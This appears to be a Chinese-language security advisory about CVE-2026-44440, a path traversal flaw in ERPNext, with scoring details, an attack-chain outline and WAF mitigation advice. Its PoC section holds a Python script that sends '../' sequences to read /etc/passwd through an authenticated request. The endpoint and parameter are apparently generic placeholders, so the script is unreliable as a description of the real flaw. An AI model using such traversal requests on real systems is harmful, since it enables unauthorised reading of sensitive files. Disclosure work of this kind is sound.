IPBUF安全漏洞报告
English
CVE-2026-44440 CVSS 6.5 中危

CVE-2026-44440 ERPNext路径遍历漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44440
漏洞类型
路径遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ERPNext

相关标签

路径遍历ERPNext文件读取CWE-22中危

漏洞概述

ERPNext是一款开源的企业资源规划工具。在15.101.1和16.10.0版本之前,该软件在处理特定端点时存在路径遍历漏洞。由于对路径名的限制不当,经过身份认证的相邻攻击者可以利用该漏洞读取服务器上的任意文件。该漏洞主要影响数据的机密性,官方已在15.101.1和16.10.0版本中修复此问题。

技术细节

该漏洞的根源在于ERPNext未能正确限制用户输入的文件路径,导致攻击者可以通过“../”序列或绝对路径访问受限目录以外的文件。攻击向量为网络(AV:N),攻击复杂度低(AC:L),且无需用户交互(UI:N)。虽然需要低权限用户认证(PR:L),但一旦认证通过,攻击者即可构造恶意请求向受影响端点发送包含路径遍历字符的参数。成功利用后,攻击者可读取系统中的敏感配置文件、源代码或其他关键数据,导致高机密性影响(C:H),但不会影响完整性和可用性。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标ERPNext系统及其版本,确认其是否存在漏洞。
STEP 2
2. 获取凭证
由于需要低权限认证(PR:L),攻击者通过注册或获取测试账号凭证。
STEP 3
3. 漏洞利用
攻击者使用获取的凭证,向存在漏洞的端点发送包含路径遍历字符(如../)的恶意请求。
STEP 4
4. 数据窃取
服务器响应返回目标文件内容(如/etc/passwd),攻击者成功读取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (example) target_url = "http://target-ip:8000/api/method/endpoint" # Authenticated session cookies (required) cookies = { "sid": "your_session_id_here" } # Payload attempting to read /etc/passwd payload = { "path": "../../../../../../etc/passwd" } try: response = requests.get(target_url, params=payload, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Exploit successful!") print(response.text) else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

ERPNext < 15.101.1
ERPNext < 16.10.0

防御指南

临时缓解措施
如果无法立即升级,建议在Web应用防火墙(WAF)中添加规则,拦截包含“../”或绝对路径特征的请求。同时,应严格限制Web服务进程的文件系统读取权限,避免其访问系统敏感目录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表